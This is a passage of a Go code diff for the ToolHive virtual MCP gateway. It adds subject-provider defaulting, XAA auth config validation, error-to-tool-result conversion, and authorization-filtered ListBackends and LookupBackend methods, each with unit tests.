cfg.OutgoingAuth.Default = defaulted - if strategy.Type == authtypes.StrategyTypeTokenExchange && - strategy.TokenExchange != nil && - strategy.TokenExchange.SubjectProviderName == "" { - strategy.TokenExchange.SubjectProviderName = providerName + for name, strategy := range cfg.OutgoingAuth.Backends { + defaulted, err := authtypes.DefaultSubjectProviderName(strategy, providerName, hasMultipleUpstreams) + if err != nil { + return fmt.Errorf("backend %q: %w", name, err) + } + cfg.OutgoingAuth.Backends[name] = defaulted } - if strategy.Type == authtypes.StrategyTypeXAA && - strategy.XAA != nil && - strategy.XAA.SubjectProviderName == "" { - strategy.XAA.SubjectProviderName = providerName - } + return nil } diff --git a/pkg/vmcp/config/defaults_test.go b/pkg/vmcp/config/defaults_test.go index 3f1b583d38..f790885470 100644 --- a/pkg/vmcp/config/defaults_test.go +++ b/pkg/vmcp/config/defaults_test.go @@ -242,6 +242,16 @@ func TestInjectSubjectProviderNames(t *testing.T) { } } + makeAwsStsStrategy := func(subjectProviderName string) *authtypes.BackendAuthStrategy { + return &authtypes.BackendAuthStrategy{ + Type: authtypes.StrategyTypeAwsSts, + AwsSts: &authtypes.AwsStsConfig{ + Region: "us-east-1", + SubjectProviderName: subjectProviderName, + }, + } + } + makeRunConfig := func(upstreamNames ...string) *authserver.RunConfig { rc := &authserver.RunConfig{} for _, name := range upstreamNames { @@ -257,6 +267,7 @@ func TestInjectSubjectProviderNames(t *testing.T) { wantDefault string wantBackends map[string]string // backend name → expected SubjectProviderName wantUnchanged bool // OutgoingAuth must not be touched + wantErr error // if set, InjectSubjectProviderNames must return an error satisfying errors.Is }{ { name: "nil_cfg_is_a_noop", @@ -370,20 +381,55 @@ func TestInjectSubjectProviderNames(t *testing.T) { rc: makeRunConfig("github"), wantDefault: "explicit", }, + { + name: "aws_sts_empty_subject_provider_gets_populated", + cfg: &Config{ + OutgoingAuth: &OutgoingAuthConfig{ + Default: makeAwsStsStrategy(""), + }, + }, + rc: makeRunConfig("github"), + wantDefault: "github", + }, + { + name: "aws_sts_explicit_subject_provider_not_overridden", + cfg: &Config{ + OutgoingAuth: &OutgoingAuthConfig{ + Default: makeAwsStsStrategy("explicit"), + }, + }, + rc: makeRunConfig("github"), + wantDefault: "explicit", + }, + { + name: "xaa_ambiguous_with_multiple_upstreams_errors", + cfg: &Config{ + OutgoingAuth: &OutgoingAuthConfig{ + Default: makeXAAStrategy(""), + }, + }, + rc: makeRunConfig("first", "second"), + wantErr: authtypes.ErrAmbiguousSubjectProvider, + }, } for _, tt := range tests { t.Run(tt.name, func(t *testing.T) { t.Parallel() - // Snapshot the default strategy pointer before calling so we can verify - // InjectSubjectProviderNames mutates in place rather than replacing pointers. - var beforeDefault *authtypes.BackendAuthStrategy - if tt.cfg != nil && tt.cfg.OutgoingAuth != nil { - beforeDefault = tt.cfg.OutgoingAuth.Default - } + err := InjectSubjectProviderNames(tt.cfg, tt.rc) - assert.NotPanics(t, func() { InjectSubjectProviderNames(tt.cfg, tt.rc) }) + if tt.wantErr != nil { + require.Error(t, err) + assert.ErrorIs(t, err, tt.wantErr) + if tt.cfg != nil && tt.cfg.OutgoingAuth != nil && + tt.cfg.OutgoingAuth.Default != nil && tt.cfg.OutgoingAuth.Default.XAA != nil { + assert.Empty(t, tt.cfg.OutgoingAuth.Default.XAA.SubjectProviderName, + "SubjectProviderName must be left untouched when InjectSubjectProviderNames fails") + } + return + } + require.NoError(t, err) if tt.wantUnchanged { if tt.cfg != nil && tt.cfg.OutgoingAuth != nil && @@ -406,10 +452,10 @@ func TestInjectSubjectProviderNames(t *testing.T) { case tt.cfg.OutgoingAuth.Default.XAA != nil: assert.Equal(t, tt.wantDefault, tt.cfg.OutgoingAuth.Default.XAA.SubjectProviderName, "Default SubjectProviderName mismatch") + case tt.cfg.OutgoingAuth.Default.AwsSts != nil: + assert.Equal(t, tt.wantDefault, tt.cfg.OutgoingAuth.Default.AwsSts.SubjectProviderName, + "Default SubjectProviderName mismatch") } - // The pointer must not have changed — mutation must be in place. - assert.Same(t, beforeDefault, tt.cfg.OutgoingAuth.Default, - "Default strategy pointer must not change: InjectSubjectProviderNames should mutate in place") } // Verify per-backend strategies. diff --git a/pkg/vmcp/config/validator.go b/pkg/vmcp/config/validator.go index 217a7ce895..486a68b0f6 100644 --- a/pkg/vmcp/config/validator.go +++ b/pkg/vmcp/config/validator.go @@ -297,6 +297,24 @@ func (*DefaultValidator) validateBackendAuthStrategy(_ string, strategy *authtyp if strategy.OBO.ClientSecret != "" && strategy.OBO.ClientSecretEnv != "" { return fmt.Errorf("obo: clientSecret and clientSecretEnv are mutually exclusive") } + + case authtypes.StrategyTypeXAA: + if strategy.XAA == nil { + return fmt.Errorf("xaa requires XAA configuration") + } + if strategy.XAA.IDPTokenURL == "" { + return fmt.Errorf("xaa requires idpTokenUrl field") + } + if strategy.XAA.TargetTokenURL == "" { + return fmt.Errorf("xaa requires targetTokenUrl field") + } + if strategy.XAA.TargetAudience == "" { + return fmt.Errorf("xaa requires targetAudience field") + } + if strategy.XAA.SubjectTokenType != "" && strategy.XAA.SubjectTokenType != "urn:ietf:params:oauth:token-type:id_token" { + return fmt.Errorf("xaa: unsupported subjectTokenType %q; only %q is accepted", + strategy.XAA.SubjectTokenType, "urn:ietf:params:oauth:token-type:id_token") + } } return nil diff --git a/pkg/vmcp/config/validator_test.go b/pkg/vmcp/config/validator_test.go index 74d7ac9ac1..7176a9ec5d 100644 --- a/pkg/vmcp/config/validator_test.go +++ b/pkg/vmcp/config/validator_test.go @@ -338,6 +338,125 @@ func TestValidator_ValidateOutgoingAuth(t *testing.T) { }, wantErr: false, // V-02 handles provider name resolution }, + { + name: "valid xaa backend", + auth: &OutgoingAuthConfig{ + Source: "inline", + Backends: map[string]*authtypes.BackendAuthStrategy{ + "target": { + Type: authtypes.StrategyTypeXAA, + XAA: &authtypes.XAAConfig{ + IDPTokenURL: "https://idp.example.com/token", + TargetTokenURL: "https://target.example.com/token", + TargetAudience: "https://target.example.com", + }, + }, + }, + }, + wantErr: false, + }, + { + name: "xaa nil config", + auth: &OutgoingAuthConfig{ + Source: "inline", + Backends: map[string]*authtypes.BackendAuthStrategy{ + "target": { + Type: authtypes.StrategyTypeXAA, + XAA: nil, + }, + }, + }, + wantErr: true, + errMsg: "xaa requires XAA configuration", + }, + { + name: "xaa missing idpTokenUrl", + auth: &OutgoingAuthConfig{ + Source: "inline", + Backends: map[string]*authtypes.BackendAuthStrategy{ + "target": { + Type: authtypes.StrategyTypeXAA, + XAA: &authtypes.XAAConfig{ + TargetTokenURL: "https://target.example.com/token", + TargetAudience: "https://target.example.com", + }, + }, + }, + }, + wantErr: true, + errMsg: "xaa requires idpTokenUrl field", + }, + { + name: "xaa missing targetTokenUrl", + auth: &OutgoingAuthConfig{ + Source: "inline", + Backends: map[string]*authtypes.BackendAuthStrategy{ + "target": { + Type: authtypes.StrategyTypeXAA, + XAA: &authtypes.XAAConfig{ + IDPTokenURL: "https://idp.example.com/token", + TargetAudience: "https://target.example.com", + }, + }, + }, + }, + wantErr: true, + errMsg: "xaa requires targetTokenUrl field", + }, + { + name: "xaa missing targetAudience", + auth: &OutgoingAuthConfig{ + Source: "inline", + Backends: map[string]*authtypes.BackendAuthStrategy{ + "target": { + Type: authtypes.StrategyTypeXAA, + XAA: &authtypes.XAAConfig{ + IDPTokenURL: "https://idp.example.com/token", + TargetTokenURL: "https://target.example.com/token", + }, + }, + }, + }, + wantErr: true, + errMsg: "xaa requires targetAudience field", + }, + { + name: "xaa unsupported subjectTokenType", + auth: &OutgoingAuthConfig{ + Source: "inline", + Backends: map[string]*authtypes.BackendAuthStrategy{ + "target": { + Type: authtypes.StrategyTypeXAA, + XAA: &authtypes.XAAConfig{ + IDPTokenURL: "https://idp.example.com/token", + TargetTokenURL: "https://target.example.com/token", + TargetAudience: "https://target.example.com", + SubjectTokenType: "urn:ietf:params:oauth:token-type:access_token", + }, + }, + }, + }, + wantErr: true, + errMsg: "xaa: unsupported subjectTokenType", + }, + { + name: "xaa valid subjectTokenType id_token", + auth: &OutgoingAuthConfig{ + Source: "inline", + Backends: map[string]*authtypes.BackendAuthStrategy{ + "target": { + Type: authtypes.StrategyTypeXAA, + XAA: &authtypes.XAAConfig{ + IDPTokenURL: "https://idp.example.com/token", + TargetTokenURL: "https://target.example.com/token", + TargetAudience: "https://target.example.com", + SubjectTokenType: "urn:ietf:params:oauth:token-type:id_token", + }, + }, + }, + }, + wantErr: false, + }, } for _, tt := range tests { diff --git a/pkg/vmcp/config/zz_generated.deepcopy.go b/pkg/vmcp/config/zz_generated.deepcopy.go index 6e5388f7ba..a541abdd6f 100644 --- a/pkg/vmcp/config/zz_generated.deepcopy.go +++ b/pkg/vmcp/config/zz_generated.deepcopy.go @@ -213,7 +213,7 @@ func (in *Config) DeepCopyInto(out *Config) { if in.Optimizer != nil { in, out := &in.Optimizer, &out.Optimizer *out = new(OptimizerConfig) - **out = **in + (*in).DeepCopyInto(*out) } if in.CodeMode != nil { in, out := &in.CodeMode, &out.CodeMode @@ -380,6 +380,13 @@ func (in *OperationalConfig) DeepCopy() *OperationalConfig { // DeepCopyInto is an autogenerated deepcopy function, copying the receiver, writing into out. in must be non-nil. func (in *OptimizerConfig) DeepCopyInto(out *OptimizerConfig) { *out = *in + if in.EmbeddingHeaders != nil { + in, out := &in.EmbeddingHeaders, &out.EmbeddingHeaders + *out = make(map[string]EmbeddingHeaderValue, len(*in)) + for key, val := range *in { + (*out)[key] = val + } + } } // DeepCopy is an autogenerated deepcopy function, copying the receiver, creating a new OptimizerConfig. diff --git a/pkg/vmcp/conversion/errors.go b/pkg/vmcp/conversion/errors.go new file mode 100644 index 0000000000..83058a514f --- /dev/null +++ b/pkg/vmcp/conversion/errors.go @@ -0,0 +1,45 @@ +// SPDX-FileCopyrightText: Copyright 2025 Stacklok, Inc. +// SPDX-License-Identifier: Apache-2.0 + +package conversion + +import ( + "errors" + + sdkmcp "github.com/mark3labs/mcp-go/mcp" + + thvmcp "github.com/stacklok/toolhive/pkg/mcp" + "github.com/stacklok/toolhive/pkg/vmcp" +) + +// ErrorToToolResult converts domain/tool execution errors into MCP tool results. +// +// mcp-go tool handlers cannot reliably carry custom JSON-RPC codes by returning +// Go errors: the SDK maps them to generic internal errors. For domain errors +// that opt into CodedError, preserve the code/data in StructuredContent instead. +func ErrorToToolResult(err error) *sdkmcp.CallToolResult { + var coded thvmcp.CodedError + if errors.As(err, &coded) { + return CodedErrorResult(err, coded) + } + if errors.Is(err, vmcp.ErrAuthorizationFailed) { + return sdkmcp.NewToolResultError("call denied by authorization policy") + } + return sdkmcp.NewToolResultError(err.Error()) +} + +// CodedErrorResult builds an IsError tool result carrying stable machine-readable +// error details in StructuredContent. message uses err.Error() so callers can wrap +// a coded error with context using %w without losing the code or data. +func CodedErrorResult(err error, coded thvmcp.CodedError) *sdkmcp.CallToolResult { + result := sdkmcp.NewToolResultError(err.Error()) + structured := map[string]any{ + "code": coded.Code(), + "message": err.Error(), + } + if data := coded.Data(); data != nil { + structured["data"] = data + } + result.StructuredContent = structured + return result +} diff --git a/pkg/vmcp/core/core.go b/pkg/vmcp/core/core.go index 6ba2cf31d0..1bf4111fb6 100644 --- a/pkg/vmcp/core/core.go +++ b/pkg/vmcp/core/core.go @@ -45,7 +45,9 @@ import ( // - Decorators may only SUBTRACT reachability: filter list output or refuse a // call before delegating to inner. They hold only an inner VMCP and have no // path to backends except through it, so they cannot widen access. This -// mirrors the list-filter/call-deny pairing in pkg/authz/tool_filter.go. +// mirrors the list-filter/call-deny pairing in pkg/authz/tool_filter.go, and +// applies to backends too: a decorator may drop entries from ListBackends +// output or refuse a LookupBackend, but never surface a backend inner withheld. // - args/meta maps are treated as read-only; the core copies before mutating // (go-style: copy before mutating caller input). // - ReadResource results: Meta may be nil — the mcp-go resources/read handler @@ -104,6 +106,45 @@ type VMCP interface { // unadvertised name. Applies the same admission filter as ListPrompts. LookupPrompt(ctx context.Context, identity *auth.Identity, name string) (*vmcp.Prompt, error) + // ListBackends returns the backends visible to identity, scoped to the gateway's + // group (groupRef always applies; the BackendRegistry is the group-scoped source). + // + // filterUnauthorized selects the view: + // + // - true (user-discovery): returns only backends the identity is authorized to + // use — a backend appears iff the identity is admitted (the same seam + // ListTools/CallTool enforce) to AT LEAST ONE of that backend's discovered + // capabilities. There is no backend-level authorization entity, so this is a + // derived rule: aggregate the group's backends, run admission, and group the + // surviving capabilities by BackendID. A backend with zero discovered + // capabilities (tool-less) is absent for EVERY identity — this is NOT an + // authorization-denial signal; a backend that has capabilities but all are + // denied to this identity is also absent, for the unrelated reason of policy. + // Callers must not conflate "absent from this list" with "identity is denied + // this specific backend." A nil identity is anonymous (see the interface + // contract), yielding the anonymous-visible set. + // + // - false (admin): returns ALL group-scoped backends with no per-identity + // authorization filtering. identity is unused and may be nil. Authorizing the + // caller for this view is the transport/API layer's responsibility (an + // admin-gated endpoint), not the core's. + // + // Health is a status, not a visibility filter: ListBackends does NOT apply the + // health filter ListTools uses. A degraded/unhealthy backend still appears (admin + // mode) — carrying its HealthStatus so a UI can badge it — and appears in the + // authorized mode whenever it still has an admitted capability. Unreachable + // backends contribute no capabilities to the authorized derivation, so they are + // naturally absent there, but that is a consequence of live aggregation, not a + // health filter. The returned slice is fresh and non-nil; callers may mutate it. + ListBackends(ctx context.Context, identity *auth.Identity, filterUnauthorized bool) ([]vmcp.Backend, error) + + // LookupBackend resolves a single backend id in the AUTHORIZED view: it returns + // the backend only when it is in ListBackends(ctx, identity, true), and + // vmcp.ErrNotFound for an unknown, out-of-group, or unauthorized id. This mirrors + // LookupTool/LookupResource/LookupPrompt — a lookup never resolves what the + // corresponding authorized list would not show. + LookupBackend(ctx context.Context, identity *auth.Identity, backendID string) (*vmcp.Backend, error) + // BackendHealth returns the backend health reporter the core owns, or nil when health // monitoring is disabled. The core builds, starts, and (via Close) stops the monitor and // filters capabilities with it; the transport layer uses this only to report on or sync diff --git a/pkg/vmcp/core/core_backends_test.go b/pkg/vmcp/core/core_backends_test.go new file mode 100644 index 0000000000..026a9f4262 --- /dev/null +++ b/pkg/vmcp/core/core_backends_test.go @@ -0,0 +1,365 @@ +// SPDX-FileCopyrightText: Copyright 2025 Stacklok, Inc. +// SPDX-License-Identifier: Apache-2.0 + +package core + +import ( + "context" + "errors" + "testing" + + "github.com/stretchr/testify/assert" + "github.com/stretchr/testify/require" + "go.uber.org/mock/gomock" + + "github.com/stacklok/toolhive/pkg/vmcp" + "github.com/stacklok/toolhive/pkg/vmcp/aggregator" +) + +// backendIDs extracts the IDs from a backend slice for order-insensitive assertions. +func backendIDs(backends []vmcp.Backend) []string { + ids := make([]string, len(backends)) + for i := range backends { + ids[i] = backends[i].ID + } + return ids +} + +// toolOn returns a backend tool advertised by the given backend. +func toolOn(name, backendID string) vmcp.Tool { + return vmcp.Tool{Name: name, BackendID: backendID} +} + +// denyExcept builds an Admission that allows only the named capabilities (by +// resourceID: tool name / resource URI / prompt name) and default-denies the rest, +// so tests can drive per-backend visibility. Mirrors admission_test.go's usage. +func denyExcept(allowed ...string) Admission { + results := make(map[string]mockResult, len(allowed)) + for _, id := range allowed { + results[id] = mockResult{authorized: true} + } + return newCedarAdmission(&mockAuthorizer{results: results}) +} + +// TestListBackends_AdminMode_ReturnsAllIncludingUnhealthy proves the admin view +// (filterUnauthorized=false) returns every group backend from the registry — +// including an unhealthy one — with no aggregation and no health filter. A nil +// identity is accepted. The absence of an AggregateCapabilities expectation on the +// mock asserts the admin path never aggregates (gomock fails on an unexpected call). +func TestListBackends_AdminMode_ReturnsAllIncludingUnhealthy(t *testing.T) { + t.Parallel() + cfg, m := baseConfig(t) + + all := []vmcp.Backend{ + {ID: "b1", HealthStatus: vmcp.BackendHealthy}, + {ID: "b2", HealthStatus: vmcp.BackendUnhealthy}, + } + m.reg.EXPECT().List(gomock.Any()).Return(all) + + c, err := New(cfg) + require.NoError(t, err) + t.Cleanup(func() { _ = c.Close() }) + + got, err := c.ListBackends(context.Background(), nil, false) + require.NoError(t, err) + assert.ElementsMatch(t, []string{"b1", "b2"}, backendIDs(got), + "admin view must include all group backends, including the unhealthy one") +} + +// TestListBackends_Authorized_FiltersByAdmittedCapability proves the authorized +// view (filterUnauthorized=true) includes a backend only when the identity is +// admitted at least one of its capabilities: b1's tool is allowed, b2's is denied, +// so only b1 appears. +func TestListBackends_Authorized_FiltersByAdmittedCapability(t *testing.T) { + t.Parallel() + cfg, m := baseConfig(t) + + all := []vmcp.Backend{{ID: "b1"}, {ID: "b2"}} + m.reg.EXPECT().List(gomock.Any()).Return(all) + m.agg.EXPECT().AggregateCapabilities(gomock.Any(), gomock.Any()).Return( + &aggregator.AggregatedCapabilities{ + Tools: []vmcp.Tool{toolOn("tool_b1", "b1"), toolOn("tool_b2", "b2")}, + }, nil) + + c, err := New(cfg) + require.NoError(t, err) + t.Cleanup(func() { _ = c.Close() }) + c.(*coreVMCP).admission = denyExcept("tool_b1") + + got, err := c.ListBackends(context.Background(), cedarIdentity(), true) + require.NoError(t, err) + assert.Equal(t, []string{"b1"}, backendIDs(got), + "only the backend with an admitted capability should appear") +} + +// TestListBackends_Authorized_UnionsAcrossCapabilityKinds proves visibility is the +// UNION over tools, resources, and prompts: a backend reachable only via a resource +// (no admitted tool) or only via a prompt still appears. +func TestListBackends_Authorized_UnionsAcrossCapabilityKinds(t *testing.T) { + t.Parallel() + cfg, m := baseConfig(t) + + all := []vmcp.Backend{{ID: "b1"}, {ID: "b2"}, {ID: "b3"}} + m.reg.EXPECT().List(gomock.Any()).Return(all) + m.agg.EXPECT().AggregateCapabilities(gomock.Any(), gomock.Any()).Return( + &aggregator.AggregatedCapabilities{ + Tools: []vmcp.Tool{toolOn("tool_b1", "b1")}, + Resources: []vmcp.Resource{{URI: "res://b2", BackendID: "b2"}}, + Prompts: []vmcp.Prompt{{Name: "prompt_b3", BackendID: "b3"}}, + }, nil) + + c, err := New(cfg) + require.NoError(t, err) + t.Cleanup(func() { _ = c.Close() }) + // Default allow-all admission (baseConfig has no Authz) admits every capability. + + got, err := c.ListBackends(context.Background(), cedarIdentity(), true) + require.NoError(t, err) + assert.ElementsMatch(t, []string{"b1", "b2", "b3"}, backendIDs(got), + "a backend visible only via a resource or prompt must still appear") +} + +// TestListBackends_Authorized_AggregatesFullRegistryNoHealthFilter is the +// load-bearing test for "health is a status, not a visibility filter": the +// authorized path must aggregate over the FULL registry, not the +// filterHealthyBackends subset. It captures the backend slice handed to +// AggregateCapabilities and asserts the unhealthy backend is present. +func TestListBackends_Authorized_AggregatesFullRegistryNoHealthFilter(t *testing.T) { + t.Parallel() + cfg, m := baseConfig(t) + + all := []vmcp.Backend{ + {ID: "b1", HealthStatus: vmcp.BackendHealthy}, + {ID: "b2", HealthStatus: vmcp.BackendUnhealthy}, + } + m.reg.EXPECT().List(gomock.Any()).Return(all) + + var aggregated []vmcp.Backend + m.agg.EXPECT().AggregateCapabilities(gomock.Any(), gomock.Any()).DoAndReturn( + func(_ context.Context, backends []vmcp.Backend) (*aggregator.AggregatedCapabilities, error) { + aggregated = backends + return &aggregator.AggregatedCapabilities{ + Tools: []vmcp.Tool{toolOn("tool_b1", "b1"), toolOn("tool_b2", "b2")}, + }, nil + }) + + c, err := New(cfg) + require.NoError(t, err) + t.Cleanup(func() { _ = c.Close() }) + + got, err := c.ListBackends(context.Background(), cedarIdentity(), true) + require.NoError(t, err) + assert.ElementsMatch(t, []string{"b1", "b2"}, backendIDs(aggregated), + "authorized aggregation must run over the full registry (no health filter dropping the unhealthy backend)") + assert.ElementsMatch(t, []string{"b1", "b2"}, backendIDs(got)) +} + +// TestListBackends_Authorized_ZeroCapabilityBackendHiddenButAdminShowsIt pins the +// decided corner case: a backend that contributes no capabilities is vacuously +// hidden in the authorized view (>=1 rule) yet still appears in the admin view. +func TestListBackends_Authorized_ZeroCapabilityBackendHiddenButAdminShowsIt(t *testing.T) { + t.Parallel() + cfg, m := baseConfig(t) + + all := []vmcp.Backend{{ID: "b1"}, {ID: "b2"}} // b2 is tool-less / contributes nothing + m.reg.EXPECT().List(gomock.Any()).Return(all).Times(2) + m.agg.EXPECT().AggregateCapabilities(gomock.Any(), gomock.Any()).Return( + &aggregator.AggregatedCapabilities{ + Tools: []vmcp.Tool{toolOn("tool_b1", "b1")}, // nothing for b2 + }, nil) + + c, err := New(cfg) + require.NoError(t, err) + t.Cleanup(func() { _ = c.Close() }) + + authorized, err := c.ListBackends(context.Background(), cedarIdentity(), true) + require.NoError(t, err) + assert.Equal(t, []string{"b1"}, backendIDs(authorized), + "a zero-capability backend is vacuously hidden in the authorized view") + + admin, err := c.ListBackends(context.Background(), nil, false) + require.NoError(t, err) + assert.ElementsMatch(t, []string{"b1", "b2"}, backendIDs(admin), + "the same zero-capability backend still appears in the admin view") +} + +// TestListBackends_EmptyGroupReturnsEmpty proves that an empty group (no backends +// in the registry) returns a non-nil empty slice in BOTH modes without aggregating. +// The authorized path must short-circuit before the aggregator, whose "no backends +// returned capabilities" sentinel would otherwise turn an empty group into a hard +// error and make the two views disagree. The absence of an AggregateCapabilities +// expectation asserts no aggregation happens. +func TestListBackends_EmptyGroupReturnsEmpty(t *testing.T) { + t.Parallel() + cfg, m := baseConfig(t) + + m.reg.EXPECT().List(gomock.Any()).Return([]vmcp.Backend{}).Times(2) + + c, err := New(cfg) + require.NoError(t, err) + t.Cleanup(func() { _ = c.Close() }) + + admin, err := c.ListBackends(context.Background(), nil, false) + require.NoError(t, err) + assert.NotNil(t, admin) + assert.Empty(t, admin) + + authorized, err := c.ListBackends(context.Background(), cedarIdentity(), true) + require.NoError(t, err, "an empty group must be an empty answer, not an aggregation error") + assert.NotNil(t, authorized) + assert.Empty(t, authorized) +} + +// TestListBackends_Authorized_NilIdentityIsAnonymous pins the shipped semantic that +// a nil identity in authorized mode is anonymous (consistent with ListTools et al.), +// NOT an error — even though issue #5741's prose calls identity "required". Under the +// default allow-all admission the anonymous-visible set is every backend with a +// capability. +func TestListBackends_Authorized_NilIdentityIsAnonymous(t *testing.T) { + t.Parallel() + cfg, m := baseConfig(t) + + m.reg.EXPECT().List(gomock.Any()).Return([]vmcp.Backend{{ID: "b1"}}) + m.agg.EXPECT().AggregateCapabilities(gomock.Any(), gomock.Any()).Return( + &aggregator.AggregatedCapabilities{Tools: []vmcp.Tool{toolOn("tool_b1", "b1")}}, nil) + + c, err := New(cfg) + require.NoError(t, err) + t.Cleanup(func() { _ = c.Close() }) + + got, err := c.ListBackends(context.Background(), nil, true) + require.NoError(t, err, "nil identity is anonymous, not an error") + assert.Equal(t, []string{"b1"}, backendIDs(got)) +} + +// TestListBackends_Authorized_BackendlessToolDoesNotAddVisibility pins the decision +// to union over agg.Tools (real backend capabilities) rather than advertisedTools: +// a tool with no backing backend id — the shape a composite/workflow tool takes, +// since it routes to no single backend — must not make any backend visible. +func TestListBackends_Authorized_BackendlessToolDoesNotAddVisibility(t *testing.T) { + t.Parallel() + cfg, m := baseConfig(t) + + all := []vmcp.Backend{{ID: "b1"}, {ID: "b2"}} + m.reg.EXPECT().List(gomock.Any()).Return(all) + m.agg.EXPECT().AggregateCapabilities(gomock.Any(), gomock.Any()).Return( + &aggregator.AggregatedCapabilities{ + Tools: []vmcp.Tool{ + toolOn("tool_b1", "b1"), // real backend tool + {Name: "composite_workflow"}, // no BackendID (composite-shaped) + }, + }, nil) + + c, err := New(cfg) + require.NoError(t, err) + t.Cleanup(func() { _ = c.Close() }) + + got, err := c.ListBackends(context.Background(), cedarIdentity(), true) + require.NoError(t, err) + assert.Equal(t, []string{"b1"}, backendIDs(got), + "a backendless (composite) tool must not surface b2 or a phantom empty-id backend") +} + +// TestListBackends_Authorized_EmptyIsNonNil proves the authorized path returns a +// non-nil empty slice (not nil) when the identity is admitted nothing. +func TestListBackends_Authorized_EmptyIsNonNil(t *testing.T) { + t.Parallel() + cfg, m := baseConfig(t) + + m.reg.EXPECT().List(gomock.Any()).Return([]vmcp.Backend{{ID: "b1"}}) + m.agg.EXPECT().AggregateCapabilities(gomock.Any(), gomock.Any()).Return( + &aggregator.AggregatedCapabilities{Tools: []vmcp.Tool{toolOn("tool_b1", "b1")}}, nil) + + c, err := New(cfg) + require.NoError(t, err) + t.Cleanup(func() { _ = c.Close() }) + c.(*coreVMCP).admission = denyExcept() // deny everything + + got, err := c.ListBackends(context.Background(), cedarIdentity(), true) + require.NoError(t, err) + assert.NotNil(t, got) + assert.Empty(t, got) +} + +// TestListBackends_Authorized_AggregationErrorFailsClosed proves an aggregation +// error propagates (wrapped) and yields no partial backend set. +func TestListBackends_Authorized_AggregationErrorFailsClosed(t *testing.T) { + t.Parallel() + cfg, m := baseConfig(t) + + m.reg.EXPECT().List(gomock.Any()).Return([]vmcp.Backend{{ID: "b1"}}) + m.agg.EXPECT().AggregateCapabilities(gomock.Any(), gomock.Any()).Return(nil, errors.New("boom")) + + c, err := New(cfg) + require.NoError(t, err) + t.Cleanup(func() { _ = c.Close() }) + + got, err := c.ListBackends(context.Background(), cedarIdentity(), true) + require.Error(t, err) + assert.Nil(t, got) + assert.Contains(t, err.Error(), "aggregation") +} + +// TestLookupBackend_ResolvesAuthorizedBackend proves LookupBackend returns a +// backend that is in the identity's authorized view. +func TestLookupBackend_ResolvesAuthorizedBackend(t *testing.T) { + t.Parallel() + cfg, m := baseConfig(t) + + m.reg.EXPECT().List(gomock.Any()).Return([]vmcp.Backend{{ID: "b1", Name: "Backend One"}}) + m.agg.EXPECT().AggregateCapabilities(gomock.Any(), gomock.Any()).Return( + &aggregator.AggregatedCapabilities{Tools: []vmcp.Tool{toolOn("tool_b1", "b1")}}, nil) + + c, err := New(cfg) + require.NoError(t, err) + t.Cleanup(func() { _ = c.Close() }) + + got, err := c.LookupBackend(context.Background(), cedarIdentity(), "b1") + require.NoError(t, err) + require.NotNil(t, got) + assert.Equal(t, "b1", got.ID) + assert.Equal(t, "Backend One", got.Name) +} + +// TestLookupBackend_NotFound proves LookupBackend returns vmcp.ErrNotFound for an +// unknown id and for an id that exists in the group but is unauthorized. +func TestLookupBackend_NotFound(t *testing.T) { + t.Parallel() + + t.Run("unknown id", func(t *testing.T) { + t.Parallel() + cfg, m := baseConfig(t) + m.reg.EXPECT().List(gomock.Any()).Return([]vmcp.Backend{{ID: "b1"}}) + m.agg.EXPECT().AggregateCapabilities(gomock.Any(), gomock.Any()).Return( + &aggregator.AggregatedCapabilities{Tools: []vmcp.Tool{toolOn("tool_b1", "b1")}}, nil) + + c, err := New(cfg) + require.NoError(t, err) + t.Cleanup(func() { _ = c.Close() }) + + got, err := c.LookupBackend(context.Background(), cedarIdentity(), "does-not-exist") + require.Error(t, err) + assert.Nil(t, got) + assert.ErrorIs(t, err, vmcp.ErrNotFound) + }) + + t.Run("unauthorized id", func(t *testing.T) { + t.Parallel() + cfg, m := baseConfig(t) + m.reg.EXPECT().List(gomock.Any()).Return([]vmcp.Backend{{ID: "b1"}, {ID: "b2"}}) + m.agg.EXPECT().AggregateCapabilities(gomock.Any(), gomock.Any()).Return( + &aggregator.AggregatedCapabilities{ + Tools: []vmcp.Tool{toolOn("tool_b1", "b1"), toolOn("tool_b2", "b2")}, + }, nil) + + c, err := New(cfg) + require.NoError(t, err) + t.Cleanup(func() { _ = c.Close() }) + c.(*coreVMCP).admission = denyExcept("tool_b1") // b2 unauthorized + + got, err := c.LookupBackend(context.Background(), cedarIdentity(), "b2") + require.Error(t, err) + assert.Nil(t, got) + assert.ErrorIs(t, err, vmcp.ErrNotFound) + }) +} diff --git a/pkg/vmcp/core/core_vmcp.go b/pkg/vmcp/core/core_vmcp.go index 616e132ae7..ac72694fd5 100644 --- a/pkg/vmcp/core/core_vmcp.go +++ b/pkg/vmcp/core/core_vmcp.go @@ -351,6 +351,50 @@ func (c *coreVMCP) LookupPrompt(ctx context.Context, identity *auth.Identity, na return nil, fmt.Errorf("%w: prompt %q", vmcp.ErrNotFound, name) } +// ListBackends returns the backends visible to identity. In admin mode +// (filterUnauthorized=false) it returns the full group registry as-is — no +// aggregation, no admission, no health filter. In authorized mode it returns only +// the backends the identity is admitted at least one capability on. See the [VMCP] +// interface contract for the full semantics. +func (c *coreVMCP) ListBackends( + ctx context.Context, identity *auth.Identity, filterUnauthorized bool, +) ([]vmcp.Backend, error) { + all := c.backendRegistry.List(ctx) + if !filterUnauthorized { + return all, nil + } + // An empty group has nothing to authorize: return an empty (non-nil) set rather + // than aggregating, which would surface the aggregator's "no backends returned + // capabilities" sentinel as an error and make the authorized view disagree with + // the admin view for the same empty group. A non-empty group whose backends are + // all unreachable still errors (consistent with ListTools) — that is a live + // failure, not an empty answer. + if len(all) == 0 { + return []vmcp.Backend{}, nil + } + return c.authorizedBackends(ctx, identity, all) +} + +// LookupBackend resolves a single backend id in the authorized view, mirroring +// LookupTool: it delegates to ListBackends(ctx, identity, true) and returns +// vmcp.ErrNotFound for an id that view does not contain (unknown, out-of-group, or +// unauthorized). +func (c *coreVMCP) LookupBackend( + ctx context.Context, identity *auth.Identity, backendID string, +) (*vmcp.Backend, error) { + backends, err := c.ListBackends(ctx, identity, true) + if err != nil { + return nil, err + } + for i := range backends { + if backends[i].ID == backendID { + backend := backends[i] + return &backend, nil + } + } + return nil, fmt.Errorf("%w: backend %q", vmcp.ErrNotFound, backendID) +} + // Close stops the workflow state store's cleanup goroutine. It is idempotent: // the underlying Stop closes a channel that cannot be closed twice, so the work // is guarded by sync.Once and subsequent calls return nil. @@ -372,7 +416,18 @@ func (c *coreVMCP) Close() error { // lookup-then-call flow aggregates twice. This is intentional — caching is the // Serve layer's responsibility, not the core's (vmcp anti-patterns #8/#9). func (c *coreVMCP) aggregatedView(ctx context.Context) 